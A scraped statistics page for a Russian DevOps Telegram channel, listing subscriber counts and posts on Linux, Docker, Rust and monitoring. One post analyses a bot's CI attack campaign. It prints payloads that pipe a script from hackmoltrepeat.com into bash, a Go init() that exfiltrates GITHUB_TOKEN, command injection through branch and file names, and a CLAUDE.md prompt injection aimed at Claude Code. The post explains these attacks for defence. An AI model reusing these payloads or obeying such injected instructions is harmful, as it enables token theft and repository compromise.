ch
Feedback
DeVops Библиотека

DeVops Библиотека

前往频道在 Telegram

Гайды, уроки и книги для Devops специалситов по всем вопросам @workakkk

显示更多
9 463
订阅者
-324 小时
-77
-5030

数据加载中...

吸引订阅者
六月 '26
六月 '26
+6
在0个频道中
五月 '26
+59
在0个频道中
Get PRO
四月 '26
+86
在0个频道中
Get PRO
三月 '26
+139
在0个频道中
Get PRO
二月 '26
+269
在1个频道中
Get PRO
一月 '26
+305
在0个频道中
Get PRO
十二月 '25
+107
在0个频道中
Get PRO
十一月 '25
+190
在0个频道中
Get PRO
十月 '25
+118
在0个频道中
Get PRO
九月 '25
+378
在3个频道中
Get PRO
八月 '25
+205
在0个频道中
Get PRO
七月 '25
+457
在1个频道中
Get PRO
六月 '25
+299
在0个频道中
Get PRO
五月 '25
+117
在0个频道中
Get PRO
四月 '25
+3 767
在1个频道中
Get PRO
三月 '250
在0个频道中
Get PRO
二月 '250
在0个频道中
Get PRO
一月 '250
在0个频道中
Get PRO
十二月 '240
在0个频道中
Get PRO
十一月 '240
在1个频道中
Get PRO
十月 '240
在1个频道中
Get PRO
九月 '24
+26
在0个频道中
Get PRO
八月 '24
+652
在0个频道中
Get PRO
七月 '24
+641
在0个频道中
Get PRO
六月 '24
+849
在1个频道中
Get PRO
五月 '24
+360
在35个频道中
Get PRO
四月 '24
+339
在44个频道中
Get PRO
三月 '24
+334
在20个频道中
Get PRO
二月 '24
+181
在0个频道中
Get PRO
一月 '24
+302
在43个频道中
Get PRO
十二月 '23
+1 888
在39个频道中
日期
订阅者增长
提及
频道
03 六月+1
02 六月+2
01 六月+3
频道帖子
io_uring без розовых очков: 5 граблей, которые сожгли мне неделю, и где он реально быстрее epoll Прод. Сервис на Go, 80k RPS,
io_uring без розовых очков: 5 граблей, которые сожгли мне неделю, и где он реально быстрее epoll Прод. Сервис на Go, 80k RPS, p99 latency 12 мс. Читаю Phoronix, новость: "io_uring быстрее epoll в 2-4 раза". Решаю переписать сетевую часть. Через неделю - откат в master. p99 не упал, а вырос до 18 мс, CPU подскочил на 15%, под нагрузкой иногда залипает на 200-400 мс. Эта статья - не про "io_uring - будущее async I/O", а про то, что в этом будущем реально работает в 2026 году, что нет, и где меня обманули бенчмарки. https://habr.com/ru/articles/1039820/

2
🖥 C# Roadmap: с нуля до профи Практическое руководство по росту в C#-разработке. Материал собран для тех, кто хочет получить
🖥 C# Roadmap: с нуля до профи Практическое руководство по росту в C#-разработке. Материал собран для тех, кто хочет получить инженерную глубину, а не просто накликать CRUD по туториалам. Здесь последовательность изучения, лучшие практики, ресурсы и трезвый разбор того, как работать с ИИ-инструментами и оставаться востребованным. https://github.com/Develp10/Csharp_Roadmap/
940
3
👣 Твой код на Rust компилируется, проходит тесты и является UB. Ты просто об этом не знаешь Если взять случайный крейт с cra
👣 Твой код на Rust компилируется, проходит тесты и является UB. Ты просто об этом не знаешь Если взять случайный крейт с crates.io, поставить на него Miri и подождать минут пять, шанс увидеть красное сообщение про undefined behavior где-то в зависимостях стремится к единице. Чаще всего виноват не автор хитрого unsafe-блока ради скорости, а вполне обычная библиотека, которой пять лет, у которой звёзд на гитхабе больше, чем у твоего пет-проекта строчек кода, и которая всё это время спокойно лежит в продакшене. Самое неприятное в этой истории то, что компилятор ничего не скажет. Тесты пройдут. Бенчмарки покажут красивые наносекунды. А потом LLVM 19 обновится до LLVM 20, поменяет один проход оптимизации, и твой сервис начнёт ронять прод по понедельникам. Чтобы понять, почему так происходит, придётся залезть в три темы, которые в обычной жизни Rust-разработчика не встречаются: pointer provenance, Stacked Borrows и пришедшую им на смену Tree Borrows. https://uproger.com/tvoj-kod-na-rust-kompiliruetsya-prohodit-testy-i-yavlyaetsya-ub-ty-prosto-ob-etom-ne-znaesh/
1 039
4
Быстрый анализ загрузки через systemd-analyze На сервере все ок: железо норм, диски норм, но после ребута он думает о смысле
Быстрый анализ загрузки через systemd-analyze На сервере все ок: железо норм, диски норм, но после ребута он думает о смысле жизни секунд 40. Обычно лезешь сразу в сервисы, логи и смотришь что запустилось, а что еще нет. Но иногда юнит не падает, а просто висит в starting и ждёт сеть, DNS, диск или маунт. Что делает systemd-analyze systemd-analyze вскрывает сколько заняло ядро, сколько занял userspace, и какие юниты съели время. Кто тормозит systemd-analyze blame Она покажет список юнитов, отсортированный по времени старта. Важно: это не всегда время выполнения, а то, сколько юнит считался стартующим. Но обычно виновники видны сразу. Дерево зависимостей Когда юнит тормозит, часто причина не в нём, а в том, что он ждёт сеть, диск, другой сервис. systemd-analyze critical-chain Эта штука показывает цепочку, что блокировало путь до default.target. Видно кто кого ждал и где пробка. График загрузки для красивого разбора Если хочется визуально показать коллеге почему оно долго стартует, есть SVG-таймлайн. systemd-analyze plot > boot.svg Открываешь boot.svg в браузере и видишь полосочки, кто и когда стартовал. Вывод systemd-analyze это твой способ увидеть кто, где и почему тормозит загрузку и кто кого ожидает.
799
5
🖥 На Stepik обновили курс «C# с нуля до профи» Представьте: через четыре месяца вы открываете чужой .NET-проект и читаете ег
🖥 На Stepik обновили курс «C# с нуля до профи» Представьте: через четыре месяца вы открываете чужой .NET-проект и читаете его как книгу. IServiceCollection не вызывает ступора. async Task<IActionResult> пишется на автомате. Вы точно знаете, почему EF Core сгенерировал именно такой SQL - и как переписать запрос, чтобы он летал. Это не фантазия. Это результат после 16 модулей, в которых каждая концепция объясняется через код и закрепляется практикой. ООП, SOLID, LINQ, async/await, DI, EF Core, ASP.NET Core, Docker, Kubernetes - всё, что казалось магией, станет рабочим инструментом. А бонусом - портфолио проектов: от CLI-утилит и REST API до собственного SaaS с multi-tenancy, JWT и деплоем в Kubernetes под TLS. Скидка - 58% доступна 48 часов: https://stepik.org/a/282984/
899
6
🚀 Мощный панель управления для игровых серверов MCSManager — это современная веб-панель для управления серверами Minecraft,
🚀 Мощный панель управления для игровых серверов MCSManager — это современная веб-панель для управления серверами Minecraft, Steam и другими играми. Она позволяет легко управлять несколькими серверами с одного интерфейса, предлагая надежную систему разрешений для пользователей и поддержку многоязычности. 🚀 Основные моменты: - Быстрая установка игровых серверов с помощью встроенного магазина приложений. - Поддержка множества игр, включая Terraria и Project Zomboid. - Настраиваемый интерфейс с возможностью перетаскивания элементов. - Поддержка Docker и коммерческого хостинга. - Легковесная архитектура на TypeScript. 📌 GitHub: https://github.com/MCSManager/MCSManager
894
7
📎 Один бот, пять техник За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый — curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить. Атака 1. avelino/awesome-go — кража токена через Go init() Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка. Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя. В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад: func init() { _ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` + `-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` + `https://recv.hackmoltrepeat.com/ &&` + `curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run() } Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер. Атака 2. project-akri/akri — прямая инъекция в shell-скрипт Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang: #!/usr/bin/env bash curl -sSfL https://hackmoltrepeat.com/molt | bash check_file_version() Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно. Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода. Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки: dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash) Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду: run: | echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref Это превращалось в: echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ... Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды. Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла Бот создал файл с именем, содержащим закодированную команду: documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда. Атака 5. ambient-code/platform — prompt injection в CLAUDE.md Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR. Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md. Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow. Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
1 084
8
⚡️ Вы слышали про Rust. Знаете, что он быстрый, безопасный и что за ним будущее. Осталось одно: сесть и выучить. Этот курс со
⚡️ Вы слышали про Rust. Знаете, что он быстрый, безопасный и что за ним будущее. Осталось одно: сесть и выучить. Этот курс со Stepik- кратчайший путь от «знаю что такое Rust» до «пишу на нём». 6 модулей, 50 уроков, 143 теста. Ownership, borrowing, traits, async, Tokio, Axum, макросы, WASM — всё разложено по полочкам и закреплено практикой. Никакого видео на 40 минут ради одной мысли. Подробный текст, много кода, реальные задачи после каждого урока. На выходе — портфолио из 10+ проектов: от CLI-утилит до REST API с базой данных. 48 часов действует скидка 55 процентов: stepik.org/course/269250
875
9
Шпаргалка Kubernetes
Шпаргалка Kubernetes
1 163
10
🐧 Лайфхак по Linux, который реально экономит время Команда find умеет не только искать файлы, но и сразу что-то с ними делат
🐧 Лайфхак по Linux, который реально экономит время Команда find умеет не только искать файлы, но и сразу что-то с ними делать через -exec. Пример: $ find ~/ -type f -exec ls -lah {} \; Что происходит: find находит все файлы и для каждого запускает ls, показывая права, размер и метаданные. Как работает -exec: - exec ls - команда, которую нужно выполнить - -lah - формат вывода (права, скрытые файлы, размеры) - {} - подставляет имя каждого найденного файла - \; - завершает команду (экранируем, иначе shell сломает) Полезно, когда нужно применить одно действие к куче файлов в разных местах. Важно: вместо \; можно использовать + тогда команда будет применяться сразу к группе файлов — быстрее и эффективнее Пример с несколькими командами: $ find . -name "*.txt" -exec wc {} \; -exec du -sh {} \; Считает слова и сразу показывает размер каждого файла. Сохрани — это база для работы с файлами в Linux.
1 104
11
Prometheus на пальцах: как устроен главный инструмент мониторинга 🔍 Разбираем архитектуру Prometheus без лишней теории - тол
Prometheus на пальцах: как устроен главный инструмент мониторинга 🔍 Разбираем архитектуру Prometheus без лишней теории - только суть: 1. Discovery & Retrieval Автоматически находит сервисы (например, в Kubernetes) и начинает собирать с них метрики. 2. Prometheus Server Главный мозг системы - ходит по таргетам, собирает данные, обрабатывает и управляет хранением. 3. TSDB Встроенная time-series база, где лежат все метрики - быстро отвечает как на realtime, так и на исторические запросы. 4. Pushgateway Нужен для короткоживущих задач - они пушат метрики перед завершением. 5. Exporters Адаптеры для сторонних систем - превращают их метрики в понятный для Prometheus формат. 6. Alertmanager Следит за правилами и шлёт алерты в Slack, почту и другие каналы. 7. PromQL + Grafana Пишешь запросы, строишь графики, собираешь дашборды. https://www.youtube.com/shorts/zix3HbQ96qc
1 154
12
⚡️ Чек-лист для твоего Linux сервера Перед тем как ставить проекты и открывать порты - приведи сервер в порядок. Мой чек-лист
⚡️ Чек-лист для твоего Linux сервера Перед тем как ставить проекты и открывать порты - приведи сервер в порядок. Мой чек-лист на первые 10 минут: - обнови систему и поставь базовые утилиты - создай отдельного пользователя и запрети root-login по SSH - включи firewall (UFW) и открой только нужные порты - настрой SSH-ключи вместо пароля - включи авто-обновления безопасности - зафиксируй таймзону и проверь логи - поставь fail2ban, чтобы брутфорс не убил сервер за ночь Это база, которая спасает 90% проблем на проде. sudo apt update && sudo apt -y upgrade sudo apt -y install htop curl wget git ufw fail2ban unattended-upgrades sudo timedatectl set-timezone Asia/Bangkok sudo adduser deploy && sudo usermod -aG sudo deploy sudo ufw allow OpenSSH && sudo ufw allow 80,443/tcp && sudo ufw --force enable sudo sed -i 's/^#?PasswordAuthentication./ PasswordAuthentication no/' /etc/ssh/sshd_config sudo sed -i 's/^#?PermitRootLogin./PermitRootLogin no/' /etc/ssh/sshd_config sudo systemctl restart ssh sudo dpkg-reconfigure --priority=low unattended-upgrades sudo systemctl enable --now fail2ban
1 234
13
🔐 Большинство курсов по кибербезопасности учат определения. Этот курс на Stepik учит думать как хакер. SQL-инъекции, XSS, CS
🔐 Большинство курсов по кибербезопасности учат определения. Этот курс на Stepik учит думать как хакер. SQL-инъекции, XSS, CSRF, эксплуатация бинарников, обход аутентификации - не в теории, а через живые задачи с реальными payload'ами. В финале - полноценный пентест-проект с CVSS-оценками и отчётом, как у профессиональных команд безопасности. Нулевой опыт? Не страшно. Всё - в легальной изолированной среде, с нуля до уровня пентест-собеседования. 👉 Начни здесь → https://stepik.org/a/279968/
834
14
Ты думаешь языки программирования - это просто код? На самом деле у каждого есть своя родина. C, Java, Go, Rust - все родилис
Ты думаешь языки программирования - это просто код? На самом деле у каждого есть своя родина. C, Java, Go, Rust - все родились в США. Python - из Нидерландов. Kotlin - Россия. Ruby - Япония. Scala - Швейцария. Фактически весь стек, на котором держится современный интернет - это глобальная сборка идей со всего мира. И чем дальше, тем сильнее это смешивается. Сохрани, чтобы не забыть, и подпишись на канал - здесь объясняю сложные вещи простым языком https://youtube.com/shorts/GXVX5fyEBVM?si=YgzKPCw-x0XG3doO
797
15
🧠 Контейнерный стек - кто за что отвечает 1. Podman 👉 альтернатива Docker без демона, можно запускать контейнеры rootless �
🧠 Контейнерный стек - кто за что отвечает 1. Podman 👉 альтернатива Docker без демона, можно запускать контейнеры rootless 🔗 https://podman.io 2. containerd 👉 низкоуровневый runtime, который реально контейнеры 🔗 https://containerd.io 3. CRI-O 👉 runtime специально для Kubernetes 🔗 https://cri-o.io 4. runc 👉 самый низкий уровень (OCI runtime) 🔗 https://github.com/opencontainers/runc 5. Buildah 👉 сборка образов без Docker 🔗 https://buildah.io 6. Kaniko 👉 сборка образов внутри Kubernetes 🔗 https://github.com/GoogleContainerTools/kaniko 7. nerdctl 👉 docker-подобный CLI для containerd 🔗 https://github.com/containerd/nerdctl 8. Rancher Desktop 👉 локальный Kubernetes + контейнеры 🔗 https://rancherdesktop.io 9. OrbStack 👉 быстрый dev environment для macOS 🔗 https://orbstack.dev 10. LXC / LXD 👉 системные контейнеры (почти как VM) 🔗 https://linuxcontainers.org 11. Colima 👉 лёгкая альтернатива Docker Desktop 🔗 https://github.com/abiosoft/colima 12. Lima 👉 лёгкая VM для macOS 🔗 https://github.com/lima-vm/lima 💡 Как это связать 👉 runc → запускает контейнер 👉 containerd / CRI-O → управляют контейнерами 👉 Podman / nerdctl → интерфейс 👉 Buildah / Kaniko → сборка 👉 Rancher / OrbStack / Colima → dev окружение 👉 Lima → VM база 👣 Полезные ресурсы Go 🚀Max @Golang_google
893
16
👣 Microsoft выкатили RustTraining. Вот лишь часть тем, которые сразу зацепили: - Async в продакшене - Конкурентность и runti+3
👣 Microsoft выкатили RustTraining. Вот лишь часть тем, которые сразу зацепили: - Async в продакшене - Конкурентность и runtime - Почему разработчикам на C/C++ стоит переходить на Rust - no_std — Rust без стандартной библиотеки - Зачем Rust разработчикам на C# - Системное программирование и продакшн - Unsafe Rust - управляемый риск - Phantom types - Машины состояний для протоколов И это только малая часть. Похоже, туда вложили очень много работы, точно стоит выделить время и пройтись. github.com/microsoft/RustTraining/
929
17
➡️ Архитектура Linux простыми словами Linux — это не просто система, а набор слоёв, которые работают вместе: 1. 🖥 Hardware Ж
➡️ Архитектура Linux простыми словами Linux — это не просто система, а набор слоёв, которые работают вместе: 1. 🖥 Hardware Железо: процессор, память, сеть — всё, что даёт вычислительную мощность 2. ⚙️ Kernel Ядро системы — управляет ресурсами и напрямую общается с железом 3. 💻 Shell Интерфейс (например, Bash), который переводит команды пользователя в язык ядра 4. 🛠 Utilities Системные утилиты (ls, grep, cp) — инструменты для работы с системой 5. 🌐 Applications Приложения: браузеры, плееры, IDE — то, с чем работает пользователь 📌 Как это работает вместе: Ты вводишь команду → shell передаёт её ядру → ядро обращается к железу → утилиты/приложения выполняют задачу Просто, но гениально. #Linux #DevOps #Backend
948
18
🐳 Docker Layer Caching Trick Многие Docker-сборки занимают 5–10 минут даже если вы изменили одну строку кода. Причина - непр
🐳 Docker Layer Caching Trick Многие Docker-сборки занимают 5–10 минут даже если вы изменили одну строку кода. Причина - неправильный порядок инструкций в Dockerfile. 🚫 Плохой Dockerfile COPY . /app RUN npm install RUN npm run build Если меняется любой файл в коде → слой COPY . меняется. Docker сбрасывает кэш и заново запускает: • npm install • build Даже если зависимости не менялись. ⏳ В итоге - каждая сборка почти с нуля. ✅ Правильный Dockerfile COPY package*.json /app RUN npm install COPY . /app RUN npm run build Теперь Docker работает умнее: если изменился только код: • слой npm install берётся из кэша • пересобирается только build ⚡ Время сборки До - ~10 минут После - ~30 секунд 📌 Золотое правило Dockerfile Сначала кладём то, что редко меняется: • package.json • package-lock.json • requirements.txt • go.mod А часто меняющееся - в конце: • исходный код • конфиги • assets 🚀 Результат • быстрее сборки Docker • быстрее CI/CD • быстрее деплой Иногда достаточно просто поменять порядок строк в Dockerfile. 🎯Полезные DEVOPS ресурсы 🚀 Max Docker в телеграм
940